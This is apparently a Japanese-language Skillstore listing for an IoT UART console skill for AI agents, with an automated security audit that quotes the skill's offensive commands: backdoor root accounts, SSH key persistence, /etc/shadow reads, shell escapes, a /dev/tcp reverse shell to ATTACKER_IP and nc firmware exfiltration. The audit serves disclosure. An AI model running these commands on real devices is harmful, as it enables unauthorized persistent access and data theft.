📦
wsdiscovery
50WS-Discovery デバイスの検出
デバイスインベントリが不完全な場合、ONVIF カメラや IoT デバイスの検出には時間がかかることがあります。このスキルは、承認済みの WS-Discovery スキャンをガイドし、デバイスのメタデータとサービスエンドポイントを要約します。
セキュリティ＆コンプライアンス 表示
スキル IoT UART Console (picocom)
📦
IoT UART Console (picocom)
コンテンツリビジョン r3 重大 ⚙️ 外部コマンド🌐 ネットワークアクセス📁 ファイルシステムへのアクセス🔑 環境変数
PicocomでUARTコンソールを分析する
UARTコンソールテストには、慎重なシリアル設定、ログ記録、デバイスコマンド処理が必要です。このスキルは、picocom、Pythonヘルパー、構造化されたセッションレビューを使用して、許可されたIoT分析を支援します。
対応: Claude Codex Code(CC)
この Skill を自動インストールしないでください。
基準ポリシーにより、インストール操作の前にオペレーターのレビューが必要です。
自分のエージェントでインストール
このリクエストをエージェントにコピーしてください。正規の Skill ページとマニフェストが含まれています。
エージェントリクエスト
Review the Skillstore skill "IoT UART Console (picocom)" from https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom.md and its manifest at https://skillstore.io/api/skills/brownfinesecurity-iot-uart-console-picocom/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.エージェントは引き続き計画を提示し、セキュリティポリシーで必要な確認を求める必要があります。
エージェントが読めるリソース
AI エージェント、クローラー、スクリプトがページ全体ではなく整理されたコンテキストを必要とする場合は、これらのリンクを使ってください。
テストする
「IoT UART Console (picocom)」を使用しています。 USBシリアルアダプターを接続したので、テストを開始する必要があります。
期待される結果:
このスキルは、列挙を行う前に、デバイスパスの確認、ボーレートの選択、ログ記録の有効化、安定したプロンプトの確認を推奨します。
「IoT UART Console (picocom)」を使用しています。 ブートシーケンスのシリアルログがあります。
期待される結果:
このスキルは、ブートローダーメッセージ、カーネル詳細、ログインプロンプト、可視サービス、許可レビューが必要な証拠を要約できます。
「IoT UART Console (picocom)」を使用しています。 シリアル出力にコマンドエコーとANSI制御文字が含まれています。
期待される結果:
ヘルパーワークフローは、コマンド出力を整理し、プロンプトノイズを除去し、後の分析用に時系列ログを保持できます。
セキュリティ監査
重大v14 • 2026/7/18 バージョン別レポートを開く
The serial helper implements ordinary UART connection, prompt detection, output cleanup, and logging. However, the documentation includes explicit authentication bypass, privilege escalation, persistence, sensitive-data access, firmware transfer, and network-scanning guidance. Benign documentation and logging detections were marked false positive, while concrete harmful workflows were confirmed.
4
スキャンされたファイル
2,037
解析済み行数
53
レビュー項目
0
誤検知を無視
確認済みのセキュリティ上の懸念 (37)
重大
SSH directory access
echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys
This adds an authorized key to root and creates persistent privileged remote access.
重大
SSH directory access
chmod 600 /root/.ssh/authorized_keys
This adds an authorized key to root and creates persistent privileged remote access.
重大
System password file access
cat /etc/shadow
This reads the password-hash database and exposes sensitive authentication material.
重大
System password file access
echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
This modifies account data or turns it into shell execution, enabling persistent access.
重大
System password file access
echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
This modifies account data or turns it into shell execution, enabling persistent access.
重大
System password file access
vi /etc/passwd
This modifies account data or turns it into shell execution, enabling persistent access.
重大
System password file access
sed -e '1s/.*//' /etc/passwd -e '1i#!/bin/sh' | sh
This modifies account data or turns it into shell execution, enabling persistent access.
重大
SSH directory access
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
This adds an authorized key to root and creates persistent privileged remote access.
確認済みの37件をすべて表示
重大
SSH directory access
chmod 600 /root/.ssh/authorized_keys
This adds an authorized key to root and creates persistent privileged remote access.
重大
System password file access
cat /etc/shadow # If readable - major security issue!
This reads the password-hash database and exposes sensitive authentication material.
重大
System password file access
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
This modifies account data or turns it into shell execution, enabling persistent access.
重大
Sudoers file access
cat /etc/sudoers
The pattern has security relevance and is retained for fail-closed review.
重大
Unauthorized Persistence Workflow
The skill presents backdoor accounts, remote access, and startup behavior as normal next steps after access. This enables retention of unauthorized control beyond a legitimate assessment.
The section is explicitly titled Persistence and Further Access and gives concrete persistence options.
重大
Authentication Bypass and Shell-Escape Guidance
The skill normalizes obtaining root shells without authentication and escaping restricted shells. These actions are not required for safe serial-console operation.
The scenario explicitly describes booting to a root shell without authentication and lists shell-escape techniques.
高
SSH host/auth files
echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys
This adds an authorized key to root and creates persistent privileged remote access.
高
SSH host/auth files
chmod 600 /root/.ssh/authorized_keys
This adds an authorized key to root and creates persistent privileged remote access.
高
Crypto seed/private key mention
# - Private keys
This searches for credentials or secret material on a device.
高
Malware type keywords
**Method 2: Backdoor User Account**:
This provides a concrete backdoor or startup persistence step.
高
Malware type keywords
echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
This provides a concrete backdoor or startup persistence step.
高
Malware type keywords
passwd backdoor
This provides a concrete backdoor or startup persistence step.
高
Malware type keywords
echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
This provides a concrete backdoor or startup persistence step.
高
Malware type keywords
echo '#!/bin/sh' > /etc/init.d/S99backdoor
This provides a concrete backdoor or startup persistence step.
高
Malware type keywords
echo 'while true; do' >> /etc/init.d/S99backdoor
This provides a concrete backdoor or startup persistence step.
高
Malware type keywords
echo ' sleep 300' >> /etc/init.d/S99backdoor
This provides a concrete backdoor or startup persistence step.
高
Malware type keywords
echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor
This provides a concrete backdoor or startup persistence step.
高
Malware type keywords
echo 'done &' >> /etc/init.d/S99backdoor
This provides a concrete backdoor or startup persistence step.
高
Malware type keywords
chmod +x /etc/init.d/S99backdoor
This provides a concrete backdoor or startup persistence step.
高
UID/GID manipulation
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
This explicitly sets UID 0 and launches a shell.
高
Network scanning tools
nmap -sn 192.168.1.0/24
This performs active network discovery and requires explicit scope.
高
SSH host/auth files
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
This adds an authorized key to root and creates persistent privileged remote access.
高
SSH host/auth files
chmod 600 /root/.ssh/authorized_keys
This adds an authorized key to root and creates persistent privileged remote access.
高
Certificate/key files
find / -name "*.pem" 2>/dev/null
The pattern has security relevance and is retained for fail-closed review.
高
Certificate/key files
find / -name "*.key" 2>/dev/null
The pattern has security relevance and is retained for fail-closed review.
高
Malware type keywords
# Add a backdoor user
This provides a concrete backdoor or startup persistence step.
高
Malware type keywords
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
This provides a concrete backdoor or startup persistence step.
高
Malware type keywords
passwd backdoor
This provides a concrete backdoor or startup persistence step.
高
Malware type keywords
echo "/path/to/backdoor &" >> /etc/rc.local
This provides a concrete backdoor or startup persistence step.
機能レビュー項目 (53)
これらは、このスキルに期待される可能性のある実際のローカル機能であるため、レビューが必要ですが、確認済みの悪意ある動作としてはカウントされません。
高
Python os.system
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
This obtains a shell, bypasses access controls, or establishes persistence.
高
Python os.system
python -c 'import os; os.system("/bin/sh")'
This obtains a shell, bypasses access controls, or establishes persistence.
高
Ruby/PHP system() call
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
This obtains a shell, bypasses access controls, or establishes persistence.
高
Ruby/PHP system() call
python -c 'import os; os.system("/bin/sh")'
This obtains a shell, bypasses access controls, or establishes persistence.
高
Ruby/PHP system() call
awk 'BEGIN {system("/bin/sh")}'
This obtains a shell, bypasses access controls, or establishes persistence.
高
sudo privilege escalation
**Check sudo permissions**:
The documentation instructs elevated execution on the target.
高
sudo privilege escalation
sudo -l
The documentation instructs elevated execution on the target.
高
sudo privilege escalation
# Example: sudo vim -> :!/bin/sh
The documentation instructs elevated execution on the target.
高
sudo privilege escalation
# Example: sudo find -> sudo find . -exec /bin/sh \;
The documentation instructs elevated execution on the target.
高
Generic API/secret keys
grep -r "api_key" /var/www/ 2>/dev/null
This searches for credentials or secret material on a device.
高
Ruby/PHP system() call
awk 'BEGIN {system("/bin/sh")}'
This obtains a shell, bypasses access controls, or establishes persistence.
高
sudo privilege escalation
- Python 3 with pyserial library (`sudo pacman -S python-pyserial` on Arch, or `pip install pyserial
The documentation instructs elevated execution on the target.
高
sudo privilege escalation
sudo -l
The documentation instructs elevated execution on the target.
中
Unix shell invocation
U-Boot> setenv bootargs "${bootargs} init=/bin/sh"
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
5. **Once booted with init=/bin/sh**:
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
setenv bootargs "${bootargs} init=/bin/sh"
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
find /etc -exec /bin/sh \;
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
vim -c ':!/bin/sh'
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
perl -e 'exec "/bin/sh";'
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
# Example: sudo vim -> :!/bin/sh
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
# Example: sudo find -> sudo find . -exec /bin/sh \;
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
echo '* * * * * /bin/sh -c "chmod u+s /bin/sh"' >> /etc/crontab
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
echo '#!/bin/sh' > /etc/init.d/S99backdoor
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
:!/bin/sh
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
:set shell=/bin/sh
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
python -c 'import os; os.system("/bin/sh")'
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
perl -e 'exec "/bin/sh";'
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
ruby -e 'exec "/bin/sh"'
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
find / -name anything -exec /bin/sh \;
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
awk 'BEGIN {system("/bin/sh")}'
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
sed -e '1s/.*//' /etc/passwd -e '1i#!/bin/sh' | sh
This obtains a shell, bypasses access controls, or establishes persistence.
中
Hardcoded IP address
nc 192.168.1.100 4444 < /tmp/rootfs.bin
This sends firmware data to a fixed network host and creates an exfiltration path.
中
Hardcoded IP address
nmap -sn 192.168.1.0/24
This performs active subnet discovery and requires explicit scope.
中
Hidden file access
mkdir -p /root/.ssh
This creates and populates root SSH authorization files for persistent access.
中
Hidden file access
chmod 700 /root/.ssh
This creates and populates root SSH authorization files for persistent access.
中
Hidden file access
echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys
This creates and populates root SSH authorization files for persistent access.
中
Hidden file access
chmod 600 /root/.ssh/authorized_keys
This creates and populates root SSH authorization files for persistent access.
中
Unix shell invocation
# Modify boot arguments (e.g., init=/bin/sh for root shell)
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
setenv bootargs "${bootargs} init=/bin/sh"
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
setenv bootargs "${bootargs} init=/bin/sh"
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
vi # Then :!/bin/sh
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
find / -exec /bin/sh \;
This obtains a shell, bypasses access controls, or establishes persistence.
中
Unix shell invocation
awk 'BEGIN {system("/bin/sh")}'
This obtains a shell, bypasses access controls, or establishes persistence.
中
Hardcoded IP address
telnet 192.168.1.1
This sends firmware data to a fixed network host and creates an exfiltration path.
中
Hidden file access
mkdir -p /root/.ssh
This creates and populates root SSH authorization files for persistent access.
中
Hidden file access
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
This creates and populates root SSH authorization files for persistent access.
中
Hidden file access
chmod 600 /root/.ssh/authorized_keys
This creates and populates root SSH authorization files for persistent access.
中
Hidden file access
chmod 700 /root/.ssh
This creates and populates root SSH authorization files for persistent access.
リスク要因
⚙️ 外部コマンド (50)
examples.md:168 examples.md:339 examples.md:168 examples.md:339 examples.md:357 examples.md:421 examples.md:57 examples.md:88 examples.md:98 examples.md:116 examples.md:158 examples.md:161 examples.md:165 examples.md:168 examples.md:171 examples.md:179 examples.md:180 examples.md:190 examples.md:192 examples.md:280 examples.md:286 examples.md:292 examples.md:295 examples.md:318 examples.md:321 examples.md:329 examples.md:333 examples.md:339 examples.md:342 examples.md:345 examples.md:348 examples.md:354 examples.md:357 examples.md:360 examples.md:174 examples.md:176 examples.md:179 examples.md:180 OBSERVING_SESSIONS.md:314 OBSERVING_SESSIONS.md:81 OBSERVING_SESSIONS.md:90 OBSERVING_SESSIONS.md:117 OBSERVING_SESSIONS.md:289 OBSERVING_SESSIONS.md:301 SKILL.md:13 SKILL.md:19 SKILL.md:23 SKILL.md:26-29 SKILL.md:29-40 SKILL.md:40-46
🌐 ネットワークアクセス (12)
📁 ファイルシステムへのアクセス (50)
examples.md:267 examples.md:268 examples.md:269 examples.md:270 examples.md:39 examples.md:202 examples.md:388 examples.md:14 examples.md:22 examples.md:23 examples.md:72 examples.md:142 examples.md:143 examples.md:152 examples.md:187 examples.md:405 examples.md:406 examples.md:421 examples.md:428 examples.md:431 examples.md:438 examples.md:441 examples.md:216 examples.md:219 examples.md:220 examples.md:221 examples.md:222 examples.md:225 examples.md:225 examples.md:228 OBSERVING_SESSIONS.md:14 OBSERVING_SESSIONS.md:38 OBSERVING_SESSIONS.md:90 OBSERVING_SESSIONS.md:128 OBSERVING_SESSIONS.md:155 OBSERVING_SESSIONS.md:162 OBSERVING_SESSIONS.md:207 OBSERVING_SESSIONS.md:247 OBSERVING_SESSIONS.md:279 OBSERVING_SESSIONS.md:286 OBSERVING_SESSIONS.md:301 OBSERVING_SESSIONS.md:322 OBSERVING_SESSIONS.md:363 OBSERVING_SESSIONS.md:16 OBSERVING_SESSIONS.md:22 OBSERVING_SESSIONS.md:82 OBSERVING_SESSIONS.md:83 OBSERVING_SESSIONS.md:90 OBSERVING_SESSIONS.md:96 OBSERVING_SESSIONS.md:103
🔑 環境変数 (1)
検出されたパターン
SSH directory access×4Malware type keywords×14System password file access×7UID/GID manipulationNetwork scanning toolsSudoers file access
監査者: claude 監査履歴を表示 →
このレポートを共有・引用
バージョン付き評価レポート、中立的なバッジ、埋め込みカード、引用を共有できます。Skillstore は証拠を報告しますが、この Skill が安全かどうかは判断しません。
レポートリンクをコピー
https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom/audits/14?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdownバッジ
[](https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom?utm_source=security_passport_badge)HTMLバッジ
<a href="https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/brownfinesecurity-iot-uart-console-picocom/security.svg" alt="Skillstore security assessment" loading="lazy"></a>埋め込みカード
<iframe src="https://skillstore.io/embed/skills/brownfinesecurity-iot-uart-console-picocom.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>学術引用 (APA · BibTeX · CFF)
APA形式の引用
BrownFineSecurity. (2026). IoT UART Console (picocom) security audit report (audit version 14) [Author version unspecified]. Skillstore. https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom/audits/14BibTeX形式の引用
@techreport{brownfinesecurity-brownfinesecurity-iot-uart-console-picocom-2026,
author = {BrownFineSecurity},
title = {IoT UART Console (picocom) security audit report (audit version 14)},
institution = {Skillstore},
year = {2026},
number = {14},
url = {https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom/audits/14},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "IoT UART Console (picocom) security audit report (audit version 14)"
version: "unspecified"
type: report
authors:
- name: "BrownFineSecurity"
date-released: "2026-07-18"
url: "https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom/audits/14"
identifiers:
- type: other
value: "skillstore:brownfinesecurity-iot-uart-console-picocom:audit:14"
description: "Skillstore immutable audit report identifier"
Skillstore スコア
このスコアの理由 証拠の信頼度: 中 55
アーキテクチャ
85
保守性
87
コンテンツ
70
コミュニティ
70
仕様準拠
作成できるもの
UARTセッションを立ち上げる
既知のテストボード向けに、ボーレート、シリアルデバイスパス、プロンプト検出、ログ記録を設定します。
デバイス列挙を文書化する
レポート作成のために、許可されたシステム、ファームウェア、サービスの観察結果をシリアルシェルから収集します。
長時間のシリアル実行を監視する
別のプロセスが制御されたコマンド実行を行っている間、シリアル操作をログに記録して監視します。
これらのプロンプトを試す
基本セッションを開始する
/dev/ttyUSB0で115200 baudの許可されたUARTセッションを開き、保護されたセッションログを保存するのを手伝ってください。
プロンプトを特定する
シリアルヘルパーを使用して私のラボデバイスに接続し、プロンプトを検出して、次の安全な列挙手順を説明してください。
セッションログをレビューする
この許可されたシリアルログをレビューし、ブートイベント、シェルアクセス状態、サービス、フォローアップの検証質問を要約してください。
制御された評価を計画する
私が所有するIoTデバイス向けに、セットアップ、証拠の取り扱い、安全なコマンド、レポート作成のチェックポイントを含むUART評価計画を作成してください。
ベストプラクティス
- 所有しているデバイス、またはテストの明示的な許可があるデバイスにのみ、このスキルを使用してください。
- シリアルログには機密情報が含まれる可能性があるため、保護された場所に保存してください。
- テスト範囲と復旧手順が明確になるまでは、読み取り専用の列挙を優先してください。
回避
- 書面による許可なしに、第三者のデバイスやネットワークに対してワークフローを使用しないでください。
- 認証情報を含むログを共有一時ディレクトリに保存しないでください。
- 通常のテスト中に、永続化、バックドアアクセス、またはアカウント変更を追加しないでください。
よくある質問
このスキルは何に役立ちますか？
許可されたIoT UARTコンソール分析のために、picocomとシリアルヘルパーの操作を支援します。
ハードウェアアクセスは必要ですか？
はい。UARTアダプター、正しい配線、デバイスへアクセスする許可が必要です。
デバイス上でコマンドを実行できますか？
はい、シリアルシェルが利用可能な場合は可能です。コマンドは承認されたテスト範囲内に留める必要があります。
ログを分析できますか？
はい。シリアルログ、ブート出力、プロンプト、コマンド結果の解釈を支援できます。
自動インストールしても安全ですか？
このスキルには攻撃的セキュリティワークフローが含まれるため、監査で個別に判断する必要があります。
どのアシスタントが使用できますか？
レポートには、Claude、Codex、Claude Codeのサポートが記載されています。
開発者情報
ライセンス
MIT
Skillstore リビジョン
r3
バージョンに関する注意
作者はバージョンを宣言していません。
参照
80999bf530a7874d7bedf8ce202001ecb4c4f5e0
メンテナンスの新しさ
2026/7/24
利用状況
3 ダウンロード · 180 閲覧
ファイル構成
BrownFineSecurity のその他のスキル
すべて表示📦
apktool
38ApktoolでAndroid APKを解析
Android APKの解析では、apktool、マニフェスト、リソースの確認手順を何度も繰り返す必要がある場合があります。このスキルは、Claude、Codex、Claude Codeに対して、安全な展開、検査、再パッケージ化のワークフローを案内します。
セキュリティ＆コンプライアンス 表示
📦
jadx
38JadxでAndroid APKを解析
Android APKのセキュリティレビューは、バイトコードやリソースを検査しにくい場合に時間がかかります。このスキルは、認可された評価のためにjadxによるデコンパイルと重点的なソースレビューをガイドします。
セキュリティ＆コンプライアンス 表示
📦
telnetshell
38IoT Telnet シェルの監査
認可されたセキュリティテスト中に、IoT telnet シェルを一貫して調査するのは困難です。このスキルは、telnet ヘルパー、列挙スクリプト、ログ記録ガイダンス、デバイス評価向けの構造化されたワークフローを提供します。
セキュリティ＆コンプライアンス 表示
📦
ffind
38ファームウェアのファイルタイプを解析
ファームウェアイメージには、手作業では調査しにくいファイルシステムやセキュリティアーティファクトが隠れていることがよくあります。このスキルは、ファイルタイプを特定し、管理された抽出を計画するための ffind 解析をガイドします。
セキュリティ＆コンプライアンス 表示
📦
chipsec
38CHIPSECでUEFIファームウェアを解析
ファームウェアダンプは、再現可能なツールなしではレビューが困難です。このスキルは、脅威チェック、インベントリ作成、構造デコード、レポート作成のためのオフラインCHIPSECワークフローを案内します。
セキュリティ＆コンプライアンス 表示
関連スキル
すべて表示📦
firmware-analyst
38ファームウェアセキュリティを分析する
作成者 sickn33
ファームウェアレビューでは、多くの場合、多数のツールと慎重な証拠の取り扱いが必要です。このスキルは、許可された抽出、エミュレーション、脆弱性レビュー、レポート作成をガイドします。
セキュリティ＆コンプライアンス 表示
📦
universal-audit
92Audit Software Releases with Evidence
作成者 glenskii
Release decisions often rely on incomplete evidence and inconsistent standards. This skill applies structured controls, deterministic scoring, and mandatory gates to assess readiness.
セキュリティ＆コンプライアンス 表示
📦
python-web-app-security-audit
90Audit Python Web Apps Before Release
作成者 glenskii
Python teams need repeatable checks for common application security controls. This skill provides configurable pytest coverage with clear evidence, boundaries, and release decisions.
セキュリティ＆コンプライアンス 表示
📦
information-security-manager-iso27001
84ISO 27001セキュリティガバナンスの実装
作成者 davila7
HealthcareおよびMedTechチームには、リスク、管理策、インシデント、監査を結び付ける体系的なISO 27001セキュリティプログラムが必要です。このスキルは、ISO 27001およびISO 27002を使用して、ISMS計画、リスクアセスメント、管理策の選定、認証準備を支援します。
セキュリティ＆コンプライアンス 表示
📦
risk-management-specialist
84医療機器リスクファイルの管理
作成者 alirezarezvani
医療機器チームには、設計、規制対応、市販後業務にわたって一貫したリスクマネジメントのエビデンスが必要です。このスキルは、ISO 14971 に基づく計画、分析、管理策、ファイル保守を支援します。
セキュリティ＆コンプライアンス 表示
📦
isms-audit-expert
83ISO 27001 ISMS 統制の監査
作成者 alirezarezvani
ISMS 監査には、明確な範囲、証拠、リスクベースの優先順位が必要です。このスキルは、ISO 27001 監査計画、統制テスト、準備作業を支援します。
セキュリティ＆コンプライアンス 表示